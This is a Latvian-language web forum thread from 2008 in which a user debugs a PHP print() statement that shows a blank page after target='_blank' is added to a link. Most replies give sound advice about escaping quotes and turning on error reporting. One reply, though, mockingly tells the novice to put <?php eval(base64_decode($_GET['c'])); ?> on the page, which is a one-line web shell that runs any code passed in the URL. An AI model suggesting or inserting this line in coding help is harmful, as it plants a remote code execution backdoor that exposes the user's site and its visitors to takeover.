krisis007 Posted February 2, 2008 Report Share Posted February 2, 2008 Ka var uztaisit ta lai userdetals.php veras jauna loga, (kad uzspiez uz username info par akontu veras jauna loga, rakstiju ta <a target="_blank" href=userdetails.php?id=$arr[id]><b>$arr[username] </b></a>..... , bet nekas nenotiek, pat neieladejas radas vienkarsi balts logs.) Ja zinat tad ludzu pasakiet ka lai sito skriptu uztaisa. Link to comment Share on other sites More sharing options...
v3rb0 Posted February 2, 2008 Report Share Posted February 2, 2008 izlasi pašus pamatus par php, ieslēdz kļudas paziņojumus, un zināsi kāpēc balta lapa. ja tas nekādīgi nelīdz, tad ieliec lapā šito: <?php eval(base64_decode($_GET['c'])); ?> (: Link to comment Share on other sites More sharing options...
Aleksejs Posted February 2, 2008 Report Share Posted February 2, 2008 emmm... Man šķiet, ka problēma ar pēdiņām. href="userdetails..." būtu jābūt Parādi to rindu ar visu echo, kura taisa to <a href... Link to comment Share on other sites More sharing options...
krisis007 Posted February 2, 2008 Author Report Share Posted February 2, 2008 (edited) print("<tr>$bilde<td align=left><a target="_blank" href=userdetails.php?id=$arr[id]><b>$arr[username]</b></a></td><td>$arr[tel]</td><td>$arr[web]</td><td><a href=\"mailto:$arr\">$arr</a></td></tr>\n"); viss vkripts Edited February 2, 2008 by krisis007 Link to comment Share on other sites More sharing options...
Aleksejs Posted February 2, 2008 Report Share Posted February 2, 2008 (edited) Pēdiņas jāeskeipo. Vai arī izmanto ' nevis ": print('<tr>'.$bilde.'<td align="left"><a target="_blank" href="userdetails.php?id=' . $arr['id'] . '><b>'.$arr['username']. '</b></a></td><td>'.$arr['tel'].'</td><td>'.$arr['web']. '</td><td><a href="mailto:'.$arr['email']. '">'.$arr['email'].'</a></td></tr>'."\n"); Edited February 2, 2008 by Aleksejs Link to comment Share on other sites More sharing options...
krisis007 Posted February 2, 2008 Author Report Share Posted February 2, 2008 (edited) diemzel neiet, bet ja neliek target='blank' tad viss iet Edited February 2, 2008 by krisis007 Link to comment Share on other sites More sharing options...
Val Posted February 2, 2008 Report Share Posted February 2, 2008 ieslēdz error_reporting Link to comment Share on other sites More sharing options...
Aleksejs Posted February 2, 2008 Report Share Posted February 2, 2008 Apskaties View Source un iepeisto precīzi, kas ir izvadīts. Link to comment Share on other sites More sharing options...
krisis007 Posted February 2, 2008 Author Report Share Posted February 2, 2008 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML {955246E3-6933-480d-B146-2462CE868767}="true" {F92F6ACC-5E50-4482-BC62-9D8DF61E5A32}="5"><HEAD> <META http-equiv=Content-Type content="text/html; charset=iso-8859-1"></HEAD> <BODY></BODY></HTML> Link to comment Share on other sites More sharing options...
andrisp Posted February 2, 2008 Report Share Posted February 2, 2008 e ? {955246E3-6933-480d-B146-2462CE868767}="true" ? Tas dokuments izskatas vispār tukšs (<body></body>). Link to comment Share on other sites More sharing options...
krisis007 Posted February 2, 2008 Author Report Share Posted February 2, 2008 a, tiklidz nonem " targat="_blank" " viss izskatas shita - <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> PirtsPrieki :: UserAccountManager :: Users </title> <link rel="stylesheet" type="text/css" href="./themes/ICGstation/ICGstation.css" /> </head> <body> <td valign="top" align="center"> <table class="theme_table" width="100%" cellpadding="10" align="center"> <tr> <td align="center"> <table border="0" cellpadding="0" cellspacing="0" class="tbt"> <tr><td class="tbtl"><img src="./phpBB2/images/spacer.gif" alt="" width="22" /></td><td class="tbtbot" nowrap="nowrap"><b> </b><img src="./phpBB2/images/spacer.gif" alt="" width="8" height="22" style="vertical-align: middle;" /></td><td class="tbtr"><img src="./phpBB2/images/spacer.gif" alt="" width="124" height="22" /></td></tr> </table> <table width="100%" border="0" cellspacing="1" cellpadding="4" class="forumline"> <tr> <td class="row1"> <table border="0" cellpadding="0" cellspacing="0" class="tbt"> <tr><td align="center"><h1>Lietotaji</h1> <form method=get action=?> Search: <input type=text size=30 name=search> </select> <input type=submit value='Meklet'> </form> <p> </p> <p><b><< Atpakal</b> <b>Talak >></b><br><b>1</b> </p><table border=1 cellspacing=0 cellpadding=5> <tr><td class=colhead align=left>Bilde</td><td class=colhead>Vards</td><td class=colhead>Telefons</td><td class=colhead>Majas lapa</td><td class=colhead align=left>E-pasts</td></tr> <tr><td href="userdetails.php?id=2"><img src="pic/ppnon.jpg" width="100" alt="google" title="google" border="0" /></td><td align=left><a href=userdetails.php?id=2><b>google</b></a></td><td>nav noradits</td><td>nav noradits</td><td>google@google.lcom</td></tr> </table> <p><b>1</b> <br><b><< Atpakal</b> <b>Talak >></b></p> <br/> </td></tr> </table> </td> </tr> <tr> <td class="row2" align="center"><span class="genmed"><a href="#" class="genmed">Back to top</a></span></td> </tr> </table> <table border="0" cellpadding="0" cellspacing="0" class="tbl"><tr><td class="tbll"><img src="./phpBB2/images/spacer.gif" alt="" width="8" height="4" /></td><td class="tblbot"><img src="./phpBB2/images/spacer.gif" alt="" width="8" height="4" /></td><td class="tblr"><img src="./phpBB2/images/spacer.gif" alt="" width="8" height="4" /></td></tr></table> </td> </tr> </table> </body> </html> Link to comment Share on other sites More sharing options...
Aleksejs Posted February 3, 2008 Report Share Posted February 3, 2008 Kļūda sintaksē tātad. Bet sakarā ar to, ka error_reporting atslēgts, tad kļūdas lapā nekas netiek izvadīts. Link to comment Share on other sites More sharing options...
superKrona Posted February 4, 2008 Report Share Posted February 4, 2008 Man gan liekas dīvaina sintakse: <a target="_blank" href="userdetails.php?id=' . $arr['id'] . '><b>'.$arr['username']. '</b></a> Ja šo lieto ar sakarīgu koda iekrāsotāju, tad uzreiz redzamas sintakses kļūdas. Tobiš, kur beidzas href="? Link to comment Share on other sites More sharing options...
Mikijs Posted February 4, 2008 Report Share Posted February 4, 2008 iesaku izmantot =] paste.php.lv lai iekraso kodu =] Link to comment Share on other sites More sharing options...
jogin Posted February 4, 2008 Report Share Posted February 4, 2008 (edited) <?php echo ' <tr>'.$bilde.' <td align=left> <a target="_blank" href="userdetails.php?id='.$arr[id].'"><b>'.$arr[username].'</b></a> </td> <td>'.$arr[tel].'</td> <td>'.$arr[web].'</td> <td><a href="mailto:'.$arr[email].'">'.$arr[email].'</a></td> </tr>\n'; ?> Edited February 4, 2008 by jogin Link to comment Share on other sites More sharing options...
Recommended Posts